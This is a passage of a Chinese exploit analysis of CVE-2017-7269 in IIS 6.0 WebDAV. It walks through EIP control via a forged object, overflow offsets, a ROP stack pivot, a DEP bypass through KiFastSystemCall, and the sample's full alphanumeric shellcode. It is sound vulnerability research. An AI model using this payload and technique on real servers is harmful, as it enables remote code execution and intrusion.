6f 78-53 72 50 67 53 45 63 7a  dkFQ0OoxSrPgSEcz  68031380  39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61  9qSOVD6oyswhVzJa  68031390  45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44  E9969l1Er4eSJXND  680313a0  44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54  Dz5lVZAbrn1fYY3T  680313b0  42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53  B1eXAYPq60wWWDaS  0:006> db  680313c0  c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76  ...hOn.hOn.hGBjv  680313d0  c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b  ...hWBtOGY4RfKBK  680313e0  64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d  dtox.`.h5QzrztGM  680313f0  59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68  YDWW...hv1on.$.h  68031400  60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68  `..h...........h  68031410  6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68  n..hnqpt4..h.).h  68031420  91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76  ...h19nfUIR0kTkv  68031430  4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79  Jray...h.n.h2why
3.4 控制 EIP

在函数 HrCheckIfHeader 返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath 中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl 这个函数。同样,解析 URL 第一部分( http://localhost/aaaaaaa.... )时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量;在解析 URL 第二部分( http://localhost/bbbbbbb.... )时,因为 CMethUtil 已经伪造好,其成员 IEcb 实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix中实现 EIP 的控制。

CPutRequest::Execute  ├──HrCheckStateHeaders│  └──HrCheckIfHeader│     ├──CMethUtil::ScStoragePathFromUrl│     └──CMethUtil::ScStoragePathFromUrl│└──FGetLockHandle   └──CParseLockTokenHeader::HrGetLockIdForPath      ├──CMethUtil::ScStoragePathFromUrl      └──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析函数 FGetLockHandle 里面构造了一个 CParseLockTokenHeader 对象, 存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath 进入下一阶段。

int __stdcall FGetLockHandle(      struct CMethUtil *a1, wchar_t *Str,     unsigned __int32 a3, const unsigned __int16 *a4,     struct auto_ref_handle *a5){  signed int v5; // eax@1  int result; // eax@2  CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1  union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1  int v9; // [sp+50h] [bp-4h]@1  v7 = CParseLockTokenHeader(a1, a4);  v9 = 0;  v7->SetPaths(Str, 0);  v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);  v9 = -1;  if ( v5 >= 0 )  {    result = FGetLockHandleFromId(a1, v8, Str, a3, a5);  }  else  {    result = 0;  }  return result;}

{C}

(2) HrGetLockIdForPath 分析 HrGetLockIdForPath 与 HrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是, v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。

在解析 URL 第一部分( http://localhost/aaaaaaa.... )时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如下所示。

┌─────────────────────────┐│   v7 (FGetLockHandle)   │  CParseLockTokenHeader <────┐├─────────────────────────┤               &uarr;o            ││          ......         │               │v            │├─────────────────────────┤               │e            ││            2.heap_buffer│  ebp-14       │r            │├─────────────────────────┤               │f            ││         2.fake_heap_size│  ebp-18       │l            │├─────────────────────────┤               │o            ││CStackBuffer2.buffer[260]│  ebp-11C      │w            │├─────────────────────────┤ <-------- overwrite data    ││            1.heap_buffer│  ebp-120 -> heap (url part1)│├─────────────────────────┤                             ││         1.fake_heap_size│  ebp-124                    │├─────────────────────────┤                             ││CStackBuffer1.buffer[260]│  ebp-228                    │├─────────────────────────┤                             ││          ......         │                             │├────────────┬────────────┤                             ││ v22.LowPart│v22.HighPart│  ebp-240  (LARGE_INTEGER) ──┘└────────────┴────────────┘

栈上的数据分布如下所示:

0:006> dds ebp-18  03fafbb8  00000412 --------> CStackBuffer2.fake_heap_size  03fafbbc  03fafab4 --------> CStackBuffer2.buffer[260]  03fafbc0  00000168  03fafbc4  03fafc30  03fafbc8  67140bdd httpext!swscanf+0x137d  --> ret addr  03fafbcc  00000002  03fafbd0  03fafc3c  03fafbd4  6711aba9 httpext!FGetLockHandle+0x40  03fafbd8  07874c2e  03fafbdc  80000000  03fafbe0  03fafc28  03fafbe4  00000000  03fafbe8  07872fc0 --------> CParseLockTokenHeader xx  03fafbec  0788c858  03fafbf0  0788c858$$ CMethUtil0:006> r ecx  ecx=07872fc0$$ LARGE_INTEGER v220:006> dd ebp-240 L2  03faf990  5a3211a0 03fafbe8$$ CStackBuffer2.buffer[260]0:006> ?ebp-11C  Evaluate expression: 66779828 = 03fafab4

分析栈的布局可以知道,在复制 260+12*4=308 字节数据后,后续的 4 字节数据将覆盖引用 CParseLockTokenHeader 对象的局部变量。需要注意的是,这里所说的 308 字节,是 URL 转变成物理路径后的前 308 字节。执行完 CMethUtil::ScStoragePathFromUrl 之后, 680313c0 被填充到父级函数中引用 CParseLockTokenHeader 对象所在的局部变量。

$$ LARGE_INTEGER v220:006> dd ebp-240 L2  03faf990  5a3211a0 03fafbe80:006> dd 03fafbe8 L1  03fafbe8  680313c0

(3) ScStripAndCheckHttpPrefix 分析在解析 URL 第二部分( http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。

CPutRequest::Execute  └──FGetLockHandle   └──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0      ├──CMethUtil::ScStoragePathFromUrl        ecx = 0x680313C0      │  └──ScStoragePathFromUrl                ecx = [ecx+0x10]=0x680313C0      │     └──ScStripAndCheckHttpPrefix        call [[ecx]+0x24]      └──CMethUtil::ScStoragePathFromUrl

接管控制权后,将开始执行 ROP 代码。

0:006> dd 680313C0 L1  680313c0  680313c00:006> dd 680313C0+10 L1  680313d0  680313c00:006> dd 680313C0+24 L1  680313e4  680160820:006> u 68016082  rsaenh!_alloca_probe+0x42:  68016082 8be1            mov     esp,ecx  68016084 8b08            mov     ecx,dword ptr [eax]  68016086 8b4004          mov     eax,dword ptr [eax+4]  68016089 50              push    eax  6801608a c3              ret  6801608b cc              int     3  6801608c cc              int     3  6801608d cc              int     3
3.5 绕过 DEP

在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F ,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。

0:006> dds esp  68031400  68031460      --> return address  68031404  7ffe0300      --> SharedUserData!SystemCallStub  68031408  ffffffff      --> ProcessHandle, CURRENT_PROCESS  6803140c  680313c0      --> BaseAddress  68031410  6803046e      --> RegionSize, 0x48  68031414  00000040      --> NewProtectWin32, PAGE_EXECUTE_READWRITE  68031418  68031434      --> OldProtect

{C}

TK 在 CanSecWest 2013 的演讲《 DEP/ASLR bypass without ROP/JIT 》[ 4 ] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8 0x7ffe0300 is always point to KiFastSystemCall Only work on x86 Windows

这里就是用了 0x7ffe0300 这个地址来定位 KiFastSystemCall (关于 KiFastSystemCall 的介绍,可以参考文档 《 KiFastCallEntry() 机制分析 》 [ 5 ])。

3.6 Shellcode

样本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI  AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8  Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM  X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6  P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK  Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ  Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL  Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函数 CRequest::LpwszGetHeader 会把其转成 UNICODE 字符串,所以在内存中长这个样子:

0:006> db 68031460  68031460  55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00  U.V.Y.A.4.4.4.4.  68031470  34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00  4.4.4.4.4.4.Q.A.  68031480  54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00  T.A.X.A.Z.A.P.A.  68031490  33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00  3.Q.A.D.A.Z.A.B.  680314a0  41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00  A.R.A.L.A.Y.A.I.  680314b0  41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00  A.Q.A.I.A.Q.A.P.  680314c0  41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00  A.5.A.A.A.P.A.Z.  680314d0  31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00  1.A.I.1.A.I.A.I.

这是所谓的 Alphanumeric Shellcode [ 6 ],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。

3.7 The Last Question

最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not ) 这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader 中解析 URL 的流程中断了,而解析流程得以继续的关键是 while 循环中嵌套的 for 循环对 IFITER::PszNextToken(2) 的调用。需要注意的是,这里传递的参数值是 2 ,而分析 IFITER::PszNextToken() 的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt ) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)  {  //......  if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )  {    *(_DWORD *)(v2 + 4) += 6;    *(_DWORD *)(v2 + 28) = 1;       // ----> 设置值    while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )      *(_DWORD *)(v2 + 4) += 2;    if ( !**(_WORD **)(v2 + 4) )      return 0;  }  v17 = **(_WORD **)(v2 + 4);  if ( v17 == &#39;<&#39; )  {LABEL_64:      v23 = &#39;>&#39;;    goto LABEL_65;  }  if ( v17 != &#39;[&#39; )    return 0;  v23 = &#39;]&#39;;LABEL_65:    v20 = *(_DWORD *)(v2 + 4);  v21 = wcschr((const wchar_t *)(v20 + 2), v23);  *(_DWORD *)(v2 + 4) = v21;  if ( !v21 )    return 0;  *(_DWORD *)(v2 + 4) = v21 + 1;  v22 = v2 + 8;  StringBuffer::AppendAt(0,     2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);  StringBuffer::AppendAt(*(_DWORD *)(v22 + 8),     2, &gc_wszEmpty);  return *(_DWORD *)v22;}

不过 not 字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not 字符串时会将对象偏移 28 (0x1C) 处的值设置为 1 ,这个值会决定父级函数中的一个跳转( goto LABEL_27 )是否执行。

// v22      -> ebp-44C// ifilter  -> ebp-468// 0x468 + 0x1C = 0x44Cif ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(          &v23, &String, *((const struct IEcb **)a1 + 4)) ){LABEL_26:    if ( v22 )                            // ==1    goto LABEL_27;  goto LABEL_30;}
4. 其他

要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [ 7 ] 列举了一些注意事项。

此外,文章 [ 8 ] 提到了一种基于 HTTP 回传信息的方法。

当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。

\

5. References

[1] https://github.com/edwardz246003/IIS_exploit [2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269 [3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html [4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf [5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html [6] https://github.com/SkyLined/alpha3 [7] https://xianzhi.aliyun.com/forum/read/1458.html [8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/

相关文章
最新文章
热点推荐